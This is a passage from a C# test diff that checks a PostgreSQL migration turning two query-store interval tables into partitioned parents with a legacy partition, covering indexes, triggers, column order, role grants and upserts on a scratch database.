+                Assert.Equal("query_store_interval_" + table.Split('_')[^1] + "_legacy|FOR VALUES FROM (MINVALUE) TO (MAXVALUE)", await TextAsync(connection,
+                    "SELECT c.relname || '|' || pg_get_expr(c.relpartbound, c.oid) FROM pg_inherits i JOIN pg_class c ON c.oid = i.inhrelid WHERE i.inhparent = 'collect." + table + "'::regclass", ct));
+                Assert.Equal(1, await CountAsync(connection, "pg_inherits WHERE inhparent = 'collect." + table + "'::regclass", ct));
+
+                /* Every row is readable through the parent and still physically in the legacy table. */
+                Assert.Equal(RowsPerTable, await CountAsync(connection, "collect." + table, ct));
+                Assert.Equal(RowsPerTable, await CountAsync(connection, "collect." + table + "_legacy", ct));
+                Assert.Equal(0, await CountAsync(connection, "ONLY collect." + table, ct));
+                Assert.Equal(5, await CountAsync(connection, "(SELECT DISTINCT first_execution_time::date FROM collect." + table + ") AS d", ct));
+
+                /* The legacy table keeps its fillfactor; the parent, as a partitioned table, has none. */
+                Assert.Equal("{fillfactor=50}", await TextAsync(connection, "SELECT reloptions::text FROM pg_class WHERE oid = 'collect." + table + "_legacy'::regclass", ct));
+
+                /* The unique index and the first-execution-time index exist on the parent, are valid, and have the legacy table's index as their child. */
+                foreach (var index in new[] { "ux_" + table, "idx_" + table + "_first_exec" })
+                {
+                    Assert.Equal("I|true", await TextAsync(connection,
+                        "SELECT c.relkind::text || '|' || i.indisvalid::text FROM pg_index i JOIN pg_class c ON c.oid = i.indexrelid WHERE i.indexrelid = 'collect." + index + "'::regclass", ct));
+                    Assert.Equal(index + "_legacy", await TextAsync(connection,
+                        "SELECT c.relname FROM pg_inherits i JOIN pg_class c ON c.oid = i.inhrelid WHERE i.inhparent = 'collect." + index + "'::regclass", ct));
+                }
+
+                Assert.Equal(true, await ScalarAsync(connection,
+                    "SELECT pg_get_indexdef('collect.ux_" + table + "'::regclass) LIKE '%UNIQUE%NULLS NOT DISTINCT%'", ct));
+            }
+
+            Assert.Equal(StorageVersion.SchemaVersion, Convert.ToInt32(await ScalarAsync(connection, "SELECT max(version) FROM darling_schema_version", ct), CultureInfo.InvariantCulture));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>
+    /// The attach must not scan. The column is NOT NULL, so the unbounded range's constraint (<c>IS NOT NULL</c>) is implied, and
+    /// PostgreSQL says so at DEBUG1. Two instruments, plus a control that proves they can see a scan: the same attach with a
+    /// bound that is NOT implied scans, counts a <c>seq_scan</c>, and emits no such line.
+    /// </summary>
+    [Fact]
+    public async Task TheAttach_SkipsItsScan_ProvedByTheDebugLineAndTheSeqScanCounter()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), "Set DARLING_TEST_PG to a Postgres connection string to run the #5571 rung's live facts.");
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using (var arrange = await ArrangeV170StoreAsync(scratch, ct))
+            {
+                await FlushStatsAsync(arrange, ct);
+            }
+
+            var seqBefore = new Dictionary<string, long>();
+            await using (var reader = new NpgsqlConnection(scratch.ConnectionString))
+            {
+                await reader.OpenAsync(ct);
+                foreach (var table in new[] { Wide, Latest })
+                {
+                    seqBefore[table] = await SeqScanAsync(reader, table, ct);
+                }
+            }
+
+            /* The control first: an attach whose bound is not implied reads the table, and the instruments see it. */
+            var controlNotices = new List<string>();
+            long controlSeqBefore;
+            long controlSeqAfter;
+            await using (var control = new NpgsqlConnection(scratch.ConnectionString))
+            {
+                await control.OpenAsync(ct);
+                control.Notice += (_, e) => controlNotices.Add(e.Notice.MessageText);
+                await ExecAsync(control, "CREATE TABLE collect.qsp_ctl_parent (LIKE collect.query_store_interval_latest INCLUDING DEFAULTS) PARTITION BY RANGE (first_execution_time)", ct);
+                await ExecAsync(control, "CREATE TABLE collect.qsp_ctl_child (LIKE collect.query_store_interval_latest INCLUDING DEFAULTS INCLUDING INDEXES)", ct);
+                await ExecAsync(control, @"
+INSERT INTO collect.qsp_ctl_child
+(server_id, database_name, query_id, plan_id, replica_role, runtime_stats_interval_id, first_execution_time, collection_time, query_plan_hash, query_hash, execution_count, avg_cpu_time_us, avg_duration_us, last_execution_time, is_forced_plan, force_failure_count, query_text)
+SELECT 1, 'db', g, 1, NULL, g, TIMESTAMP '2026-01-01', TIMESTAMP '2026-01-01', 'ph', 'qh', 1, 1, 1, TIMESTAMP '2026-01-01', false, 0, 'select 1'
+FROM generate_series(1, 50) AS g", ct);
+                await FlushStatsAsync(control, ct);
+                controlSeqBefore = await SeqScanAsync(control, "qsp_ctl_child", ct);
+                await ExecAsync(control, "SET client_min_messages = debug1", ct);
+                await ExecAsync(control, "ALTER TABLE collect.qsp_ctl_parent ATTACH PARTITION collect.qsp_ctl_child FOR VALUES FROM ('2000-01-01') TO ('2100-01-01')", ct);
+                await ExecAsync(control, "RESET client_min_messages", ct);
+                await FlushStatsAsync(control, ct);
+                controlSeqAfter = await SeqScanAsync(control, "qsp_ctl_child", ct);
+                await ExecAsync(control, "DROP TABLE collect.qsp_ctl_parent, collect.qsp_ctl_child", ct);
+            }
+
+            Assert.True(controlSeqAfter > controlSeqBefore, "the control attach scanned, and the seq_scan counter must show it, or the counter proves nothing");
+            Assert.DoesNotContain(controlNotices, n => n.Contains("is implied by existing constraints", StringComparison.Ordinal));
+
+            var notices = new List<string>();
+            await using (var migrator = new NpgsqlConnection(scratch.ConnectionString))
+            {
+                await migrator.OpenAsync(ct);
+                migrator.Notice += (_, e) => notices.Add(e.Notice.MessageText);
+                await ExecAsync(migrator, "SET client_min_messages = debug1", ct);
+                Assert.Equal(3, await PgMigrations.MigrateAsync(migrator, ct));
+                await FlushStatsAsync(migrator, ct);
+            }
+
+            foreach (var table in new[] { Wide, Latest })
+            {
+                Assert.Contains(notices, n => n.Contains("partition constraint for table \"" + table + "_legacy\" is implied by existing constraints", StringComparison.Ordinal));
+            }
+
+            await using (var reader = new NpgsqlConnection(scratch.ConnectionString))
+            {
+                await reader.OpenAsync(ct);
+                foreach (var table in new[] { Wide, Latest })
+                {
+                    Assert.Equal(seqBefore[table], await SeqScanAsync(reader, table + "_legacy", ct));
+                }
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    [Fact]
+    public async Task ReRunningTheRungs_ChangesNothing()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), "Set DARLING_TEST_PG to a Postgres connection string to run the #5571 rung's live facts.");
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var connection = await ArrangeV170StoreAsync(scratch, ct);
+            Assert.Equal(3, await PgMigrations.MigrateAsync(connection, ct));
+            var before = await CatalogSnapshotAsync(connection, ct);
+            Assert.Contains("p:query_store_interval_wide", before, StringComparison.Ordinal);
+
+            /* The migrator again does nothing at all. */
+            Assert.Equal(0, await PgMigrations.MigrateAsync(connection, ct));
+
+            /* And the rungs' own text, run again by hand, hits its relkind guard and changes nothing. */
+            foreach (var rung in new[] { WideRung, LatestRung })
+            {
+                await using var transaction = await connection.BeginTransactionAsync(ct);
+                await using (var command = new NpgsqlCommand(rung.Sql, connection, transaction))
+                {
+                    await command.ExecuteNonQueryAsync(ct);
+                }
+
+                await transaction.CommitAsync(ct);
+            }
+
+            Assert.Equal(before, await CatalogSnapshotAsync(connection, ct));
+            Assert.Equal(RowsPerTable, await CountAsync(connection, "collect." + Wide, ct));
+            Assert.Equal(RowsPerTable, await CountAsync(connection, "collect." + Latest, ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>
+    /// The upgrade from V170 with the #5507 leftovers: the wide table's background btree is INVALID and its BRIN is missing, the
+    /// latest table's btree is valid, and the latest table carries V168's trigger. The rung succeeds, drops the INVALID index,
+    /// builds nothing for the missing one, attaches the valid one, and moves the trigger to the parent.
+    /// </summary>
+    [Fact]
+    public async Task UpgradeFromV170_WithAnInvalidBtree_AMissingBrin_AndTheTrigger_SucceedsAndTidiesUp()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), "Set DARLING_TEST_PG to a Postgres connection string to run the #5571 rung's live facts.");
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var connection = await ArrangeV170StoreAsync(scratch, ct);
+            await ExecAsync(connection, "CREATE INDEX ix_query_store_interval_wide_server_first_exec ON collect.query_store_interval_wide (server_id, first_execution_time)", ct);
+            await ExecAsync(connection, "UPDATE pg_index SET indisvalid = false WHERE indexrelid = 'collect.ix_query_store_interval_wide_server_first_exec'::regclass", ct);
+            await ExecAsync(connection, "CREATE INDEX ix_query_store_interval_latest_server_first_exec ON collect.query_store_interval_latest (server_id, first_execution_time)", ct);
+            Assert.Equal(1, await CountAsync(connection, "pg_trigger WHERE tgrelid = 'collect.query_store_interval_latest'::regclass AND NOT tgisinternal", ct));
+            var triggerBefore = await TextAsync(connection, "SELECT pg_get_triggerdef(oid) FROM pg_trigger WHERE tgrelid = 'collect.query_store_interval_latest'::regclass AND NOT tgisinternal", ct);
+
+            Assert.Equal(3, await PgMigrations.MigrateAsync(connection, ct));
+
+            /* The INVALID btree is gone from both the legacy table and the parent; the missing BRIN was not built. */
+            Assert.Null(await ScalarAsync(connection, "SELECT to_regclass('collect.ix_query_store_interval_wide_server_first_exec')::text", ct));
+            Assert.Null(await ScalarAsync(connection, "SELECT to_regclass('collect.ix_query_store_interval_wide_server_first_exec_legacy')::text", ct));
+            Assert.Equal(0, await CountAsync(connection, "pg_indexes WHERE schemaname = 'collect' AND tablename LIKE 'query_store_interval_wide%' AND indexdef ILIKE '%brin%'", ct));
+
+            /* The valid one is attached, on a valid parent index. */
+            Assert.Equal("I|true", await TextAsync(connection,
+                "SELECT c.relkind::text || '|' || i.indisvalid::text FROM pg_index i JOIN pg_class c ON c.oid = i.indexrelid WHERE i.indexrelid = 'collect.ix_query_store_interval_latest_server_first_exec'::regclass", ct));
+            Assert.Equal("ix_query_store_interval_latest_server_first_exec_legacy", await TextAsync(connection,
+                "SELECT c.relname FROM pg_inherits i JOIN pg_class c ON c.oid = i.inhrelid WHERE i.inhparent = 'collect.ix_query_store_interval_latest_server_first_exec'::regclass", ct));
+
+            /* The trigger exists once on the parent, with the text it had, and is cloned onto the legacy table. */
+            Assert.Equal(1, await CountAsync(connection, "pg_trigger WHERE tgrelid = 'collect.query_store_interval_latest'::regclass AND tgname = 'trg_plan_regression_daily_late' AND tgparentid = 0", ct));
+            Assert.Equal(1, await CountAsync(connection, "pg_trigger WHERE tgrelid = 'collect.query_store_interval_latest_legacy'::regclass AND tgname = 'trg_plan_regression_daily_late' AND tgparentid <> 0", ct));
+            Assert.Equal(1, await CountAsync(connection, "pg_trigger WHERE tgname = 'trg_plan_regression_daily_late'::name AND tgparentid = 0", ct));
+            var triggerAfter = await TextAsync(connection, "SELECT pg_get_triggerdef(oid) FROM pg_trigger WHERE tgrelid = 'collect.query_store_interval_latest'::regclass AND NOT tgisinternal", ct);
+            Assert.Equal(triggerBefore.Replace("query_store_interval_latest", "X", StringComparison.Ordinal), triggerAfter.Replace("query_store_interval_latest", "X", StringComparison.Ordinal));
+            Assert.Equal(0, await CountAsync(connection, "pg_trigger WHERE tgrelid = 'collect.query_store_interval_wide'::regclass AND NOT tgisinternal AND tgname NOT LIKE 'trg_query_store_compose_stamp%'", ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>The valid-copy side of step 6: a valid btree and a valid autosummarize BRIN on the wide table both attach, with no build.</summary>
+    [Fact]
+    public async Task UpgradeFromV170_WithAValidBtreeAndAValidBrin_AttachesBothWithoutBuildingAnything()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), "Set DARLING_TEST_PG to a Postgres connection string to run the #5571 rung's live facts.");
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var connection = await ArrangeV170StoreAsync(scratch, ct);
+            await ExecAsync(connection, "CREATE INDEX ix_query_store_interval_wide_server_first_exec ON collect.query_store_interval_wide (server_id, first_execution_time)", ct);
+            await ExecAsync(connection, "CREATE INDEX ix_query_store_interval_wide_collection_time_brin ON collect.query_store_interval_wide USING brin (collection_time) WITH (autosummarize = on)", ct);
+            const string names = "('ux_query_store_interval_wide', 'ix_query_store_interval_wide_server_first_exec', 'ix_query_store_interval_wide_collection_time_brin', 'idx_query_store_interval_wide_first_exec')";
+            var filesBefore = await TextAsync(connection, "SELECT string_agg(relfilenode::text, ',' ORDER BY relname) FROM pg_class WHERE relname IN " + names, ct);
+            Assert.Equal(4, filesBefore.Split(',').Length);
+
+            Assert.Equal(3, await PgMigrations.MigrateAsync(connection, ct));
+
+            foreach (var index in new[] { "ix_query_store_interval_wide_server_first_exec", "ix_query_store_interval_wide_collection_time_brin" })
+            {
+                Assert.Equal("I|true", await TextAsync(connection,
+                    "SELECT c.relkind::text || '|' || i.indisvalid::text FROM pg_index i JOIN pg_class c ON c.oid = i.indexrelid WHERE i.indexrelid = 'collect." + index + "'::regclass", ct));
+                Assert.Equal(index + "_legacy", await TextAsync(connection,
+                    "SELECT c.relname FROM pg_inherits i JOIN pg_class c ON c.oid = i.inhrelid WHERE i.inhparent = 'collect." + index + "'::regclass", ct));
+            }
+
+            /* The same physical files under the renamed indexes: nothing was rebuilt. */
+            Assert.Equal(filesBefore, await TextAsync(connection,
+                "SELECT string_agg(relfilenode::text, ',' ORDER BY replace(relname, '_legacy', '')) FROM pg_class WHERE relname IN ('ux_query_store_interval_wide_legacy', 'ix_query_store_interval_wide_server_first_exec_legacy', 'ix_query_store_interval_wide_collection_time_brin_legacy', 'idx_query_store_interval_wide_first_exec_legacy')", ct));
+
+            /* #5594: the parent's BRIN says off, so a day partition made later clones off; the legacy copy keeps what it was built with
+               (it cannot change without a lock) until the runtime step turns it off. */
+            Assert.Equal("autosummarize=off", await TextAsync(connection,
+                "SELECT array_to_string(reloptions, ',') FROM pg_class WHERE oid = 'collect.ix_query_store_interval_wide_collection_time_brin'::regclass", ct));
+            Assert.Equal("autosummarize=on", await TextAsync(connection,
+                "SELECT array_to_string(reloptions, ',') FROM pg_class WHERE oid = 'collect.ix_query_store_interval_wide_collection_time_brin_legacy'::regclass", ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>Column order matters: the positional writers (V155's note) depend on it. The parent has the legacy table's columns in the legacy table's order.</summary>
+    [Fact]
+    public async Task TheParent_HasTheLegacyTablesColumnsInTheSameOrder_AndTheSameNullability()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), "Set DARLING_TEST_PG to a Postgres connection string to run the #5571 rung's live facts.");
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var connection = await ArrangeV170StoreAsync(scratch, ct);
+            var legacyShape = new Dictionary<string, string>();
+            foreach (var table in new[] { Wide, Latest })
+            {
+                legacyShape[table] = await ColumnShapeAsync(connection, "collect." + table, ct);
+            }
+
+            Assert.Equal(3, await PgMigrations.MigrateAsync(connection, ct));
+
+            foreach (var table in new[] { Wide, Latest })
+            {
+                var parent = await ColumnShapeAsync(connection, "collect." + table, ct);
+                Assert.Equal(legacyShape[table], parent);
+                Assert.Equal(legacyShape[table], await ColumnShapeAsync(connection, "collect." + table + "_legacy", ct));
+                Assert.Contains("first_execution_time:timestamp without time zone:notnull", parent, StringComparison.Ordinal);
+            }
+
+            /* V155's column is appended last and the writers rely on that. */
+            Assert.EndsWith("interval_end_time_utc:timestamp without time zone:null", await ColumnShapeAsync(connection, "collect." + Wide, ct), StringComparison.Ordinal);
+            Assert.Equal(58, (await ColumnShapeAsync(connection, "collect." + Wide, ct)).Split(',').Length);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>
+    /// A role that could read the tables before the rung can read the new parents after it. The grants come from the schema's default
+    /// privileges, set here as DarlingManagedRoles section 4 sets them for the owner.
+    /// </summary>
+    [Fact]
+    public async Task ReaderRoles_CanSelectTheNewParents()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), "Set DARLING_TEST_PG to a Postgres connection string to run the #5571 rung's live facts.");
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var role = "qsp_reader_" + Guid.NewGuid().ToString("N")[..12];
+        var bodySucceeded = false;
+        NpgsqlConnection? connection = null;
+        try
+        {
+            connection = await ArrangeV170StoreAsync(scratch, ct);
+            await ExecAsync(connection, "CREATE ROLE " + role + " NOLOGIN", ct);
+            await ExecAsync(connection, "GRANT USAGE ON SCHEMA collect TO " + role, ct);
+            await ExecAsync(connection, "GRANT SELECT ON ALL TABLES IN SCHEMA collect TO " + role, ct);
+            await ExecAsync(connection, "ALTER DEFAULT PRIVILEGES FOR ROLE " + await TextAsync(connection, "SELECT current_user::text", ct) + " IN SCHEMA collect GRANT SELECT ON TABLES TO " + role, ct);
+
+            await ExecAsync(connection, "SET ROLE " + role, ct);
+            Assert.Equal(RowsPerTable, await CountAsync(connection, "collect." + Wide, ct));
+            await ExecAsync(connection, "RESET ROLE", ct);
+
+            Assert.Equal(3, await PgMigrations.MigrateAsync(connection, ct));
+
+            await ExecAsync(connection, "SET ROLE " + role, ct);
+            foreach (var table in new[] { Wide, Latest })
+            {
+                Assert.Equal(RowsPerTable, await CountAsync(connection, "collect." + table, ct));
+                Assert.Equal(RowsPerTable, await CountAsync(connection, "collect." + table + "_legacy", ct));
+            }
+
+            /* Read-only: the role gets no write on the parent. */
+            await Assert.ThrowsAsync<PostgresException>(() => ExecAsync(connection, "DELETE FROM collect." + Latest, ct));
+            await ExecAsync(connection, "RESET ROLE", ct);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            if (connection is not null)
+            {
+                try
+                {
+                    await ExecAsync(connection, "RESET ROLE", CancellationToken.None);
+                    await ExecAsync(connection, "DROP OWNED BY " + role, CancellationToken.None);
+                    await ExecAsync(connection, "DROP ROLE IF EXISTS " + role, CancellationToken.None);
+                }
+                finally
+                {
+                    await connection.DisposeAsync();
+                }
+            }
+
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>
+    /// The writers' upsert, through the parent: a new row inserts, the same identity with a higher count updates (the ON CONFLICT
+    /// target is the parent's unique index, which must be valid), and nothing duplicates, in both tables, whose first
+    /// execution times fall in the legacy partition.
+    /// </summary>
+    [Fact]
+    public async Task TheWritersUpsert_InsertsThenUpdates_ThroughTheParent()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), "Set DARLING_TEST_PG to a Postgres connection string to run the #5571 rung's live facts.");
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var connection = await ArrangeV170StoreAsync(scratch, ct);
+            Assert.Equal(3, await PgMigrations.MigrateAsync(connection, ct));
+            Assert.True(await IndexIsValidAsync(connection, "ux_" + Wide, ct));
+            Assert.True(await IndexIsValidAsync(connection, "ux_" + Latest, ct));
+
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var runner = new DarlingCollectorRunner(postgres, new CollectorDeltaCalculator());
+            var context = new CollectorContext { ServerId = ServerId, ServerName = "qsp-5571-host", CollectionTime = DateTime.UtcNow, Deltas = new CollectorDeltaCalculator() };
+            var server = new ServerRuntime
+            {
+                Config = new MonitoredServer { Name = "qsp-5571", Host = "qsp-5571-host" },
+                ConnectionString = "Server=qsp-5571-host",
+                Target = new CollectorTargetInfo { SqlMajorVersion = 16 },
+                StorageName = "qsp-5571-host",
+                ServerId = ServerId,
+                EngineEdition = 3,
+            };
+
+            var first = new DateTime(2026, 9, 1, 0, 0, 0, 123, DateTimeKind.Unspecified).AddTicks(4560);
+            QueryStoreCollector.Row RowOf(long executions) => new()
+            {
+                DatabaseName = "qsp",
+                QueryId = 1,
+                PlanId = 11,
+                ExecutionTypeDesc = "Regular",
+                FirstExecutionTime = first,
+                LastExecutionTime = first.AddMinutes(9),
+                QueryHash = "0x00000001",
+                QueryPlanHash = "0x0000000B",
+                ExecutionCount = executions,
+                AvgCpuTimeUs = 500,
+                AvgDurationUs = 1000,
+                IsForcedPlan = false,
+                ForceFailureCount = 0,
+                RuntimeStatsIntervalId = 100,
+            };
+
+            await runner.WriteBackfillBatchAsync(QueryStoreCollector.Instance, new List<QueryStoreCollector.Row> { RowOf(10) }, server, first.AddMinutes(10), context, ct);
+            foreach (var table in new[] { Wide, Latest })
+            {
+                Assert.Equal(1, await CountAsync(connection, "collect." + table + " WHERE server_id = " + ServerId.ToString(CultureInfo.InvariantCulture), ct));
+                Assert.Equal(10L, Convert.ToInt64(await ScalarAsync(connection, "SELECT execution_count FROM collect." + table + " WHERE server_id = " + ServerId.ToString(CultureInfo.InvariantCulture), ct), CultureInfo.InvariantCulture));
+            }
+
+            await runner.WriteBackfillBatchAsync(QueryStoreCollector.Instance, new List<QueryStoreCollector.Row> { RowOf(20) }, server, first.AddMinutes(40), context, ct);
+            foreach (var table in new[] { Wide, Latest })
+            {
+                Assert.Equal(1, await CountAsync(connection, "collect." + table + " WHERE server_id = " + ServerId.ToString(CultureInfo.InvariantCulture), ct));
+                Assert.Equal(20L, Convert.ToInt64(await ScalarAsync(connection, "SELECT execution_count FROM collect." + table + " WHERE server_id = " + ServerId.ToString(CultureInfo.InvariantCulture), ct), CultureInfo.InvariantCulture));
+
+                /* Microseconds are kept: the sub-millisecond part of the key survived the round trip through the parent. */
+                Assert.Equal(456L, Convert.ToInt64(await ScalarAsync(connection,
+                    "SELECT (extract(microseconds FROM first_execution_time)::bigint % 1000) FROM collect." + table + " WHERE server_id = " + ServerId.ToString(CultureInfo.InvariantCulture), ct), CultureInfo.InvariantCulture));
+
+                /* The rows live in the legacy partition. */
+                Assert.Equal(1, await CountAsync(connection, "collect." + table + "_legacy WHERE server_id = " + ServerId.ToString(CultureInfo.InvariantCulture), ct));
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>The latest table's late-row trigger still fires for a row written through the parent: a steady row does not run it, a row from a closed day does.</summary>
+    [Fact]
+    public async Task TheLatestTablesTrigger_FiresForARowWrittenThroughTheParent()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), "Set DARLING_TEST_PG to a Postgres connection string to run the #5571 rung's live facts.");
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var connection = await ArrangeV170StoreAsync(scratch, ct);
+            Assert.Equal(3, await PgMigrations.MigrateAsync(connection, ct));
+            await ExecAsync(connection, "TRUNCATE collect.plan_regression_daily_built", ct);
+
+            const string insert = @"
+INSERT INTO collect.query_store_interval_latest
+(server_id, database_name, query_id, plan_id, replica_role, runtime_stats_interval_id, first_execution_time, collection_time, query_plan_hash, query_hash, execution_count, avg_cpu_time_us, avg_duration_us, last_execution_time, is_forced_plan, force_failure_count, query_text)
+SELECT -5571901, 'trg', 900000, 1, NULL, 900000, {0}, {0}, 'ph', 'qh', 1, 1, 1, {0}, false, 0, 'select 1'";
+
+            /* Steady: now. */
+            await ExecAsync(connection, string.Format(CultureInfo.InvariantCulture, insert, "(now() AT TIME ZONE 'UTC')"), ct);
+            Assert.Equal(0, await CountAsync(connection, "collect.plan_regression_daily_built", ct));
+
+            /* Late: five days ago, inside the trigger's window. */
+            await ExecAsync(connection, string.Format(CultureInfo.InvariantCulture, insert, "(now() AT TIME ZONE 'UTC') - interval '5 days'"), ct);
+            Assert.Equal(2, await CountAsync(connection, "collect.plan_regression_daily_built", ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    [Fact]
+    public async Task TheViewerProbe_MapsAPartitionedStoreToTheTopRung_AndAStoreBehindItToTheOneBelow()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString), "Set DARLING_TEST_PG to a Postgres connection string to run the #5571 rung's live facts.");
+        await using var scratch = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var connection = await ArrangeV170StoreAsync(scratch, ct);
+            Assert.Equal(170, await ProbedVersionAsync(connection, ct));
+            Assert.Equal(3, await PgMigrations.MigrateAsync(connection, ct));
+            Assert.Equal(StorageVersion.SchemaVersion, await ProbedVersionAsync(connection, ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /* ---- the arrangement ---------------------------------------------------------------------------------- */
+
+    /// <summary>
+    /// Migrates a scratch store to the top, rewinds both interval tables to the V170 shape, and seeds each across five days (an
+    /// <see cref="RowsPerTable"/>-row table, 20 rows a day, 60 days back so the latest table's trigger window is not touched).
+    /// </summary>
+    private static async Task<NpgsqlConnection> ArrangeV170StoreAsync(ScratchPostgres scratch, CancellationToken ct)
+    {
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await RewindToV170Async(connection, ct);
+
+        await ExecAsync(connection, @"
+INSERT INTO collect.query_store_interval_wide
+(collection_time, server_id, database_name, query_id, plan_id, execution_type_desc, first_execution_time, last_execution_time, module_name, query_text, query_hash, execution_count, replica_role, runtime_stats_interval_id)
+SELECT d + (g % 1440) * INTERVAL '1 minute' + INTERVAL '1 minute', 1, 'db', g, 1, 'exec',
+       d + (g % 1440) * INTERVAL '1 minute' + (g * INTERVAL '1 microsecond'), d + (g % 1440) * INTERVAL '1 minute' + INTERVAL '1 minute',
+       'mod', 'select 1', 'qh', 1, NULL, g
+FROM generate_series(1, " + RowsPerTable.ToString(CultureInfo.InvariantCulture) + @") AS g
+CROSS JOIN LATERAL (SELECT date_trunc('day', now() AT TIME ZONE 'UTC') - interval '60 days' + (g % 5) * interval '1 day' AS d) AS x", ct);
+        await ExecAsync(connection, @"
+INSERT INTO collect.query_store_interval_latest
+(server_id, database_name, query_id, plan_id, replica_role, runtime_stats_interval_id, first_execution_time, collection_time, query_plan_hash, query_hash, execution_count, avg_cpu_time_us, avg_duration_us, last_execution_time, is_forced_plan, force_failure_count, query_text)
+SELECT (g % 10) + 1, 'db' || (g % 3), g, g % 1000, NULL, g,
+       d + (g % 1440) * INTERVAL '1 minute' + (g * INTERVAL '1 microsecond'), d + INTERVAL '1 minute',
+       'ph', 'qh', 1, 1, 1, d + INTERVAL '1 minute', false, 0, 'select 1'
+FROM generate_series(1, " + RowsPerTable.ToString(CultureInfo.InvariantCulture) + @") AS g
+CROSS JOIN LATERAL (SELECT date_trunc('day', now() AT TIME ZONE 'UTC') - interval '60 days' + (g % 5) * interval '1 day' AS d) AS x", ct);
+        return connection;
+    }
+
+    /// <summary>Puts both tables back to their V170 shape and deletes the rung rows. See <see cref="RewindTableAsync"/>.</summary>
+    private static async Task RewindToV170Async(NpgsqlConnection connection, CancellationToken ct)
+    {
+        foreach (var table in new[] { Wide, Latest })
+        {
+            await RewindTableAsync(connection, table, ct);
+        }
+
+        /* V173 (#5582): the stamp-grain rollup and its triggers are above V170 too; RewindTableAsync dropped the triggers, the tables go here. */
+        await ExecAsync(connection, "DROP TABLE IF EXISTS collect.query_store_compose_stamp_hours, collect.query_store_compose_stamp_built, collect.query_store_compose_stamp; DROP FUNCTION IF EXISTS collect.query_store_compose_stamp_mark_late()", ct);
+        await ExecAsync(connection, "DELETE FROM darling_schema_version WHERE version >= " + WideRungVersion.ToString(CultureInfo.InvariantCulture), ct);
+    }
+
+    /// <summary>
+    /// One table back to its pre-rung shape: detach the legacy table, drop the parent, rename the table and its indexes back, and (latest)
+    /// put V168's trigger back on the plain table. The version rows are the caller's. Also used by the viewer-probe tests that simulate an older store.
+    /// </summary>
+    internal static async Task RewindTableAsync(NpgsqlConnection connection, string table, CancellationToken ct)
+    {
+        if (table == Wide)
+        {
+            /* V173 (#5582) puts its two late-row triggers on the wide parent; a store rewound below it has neither (dropping them
+               from the parent drops the clones on the legacy leaf too). */
+            await ExecAsync(connection, "DROP TRIGGER IF EXISTS trg_query_store_compose_stamp_late_ins ON collect.query_store_interval_wide", ct);
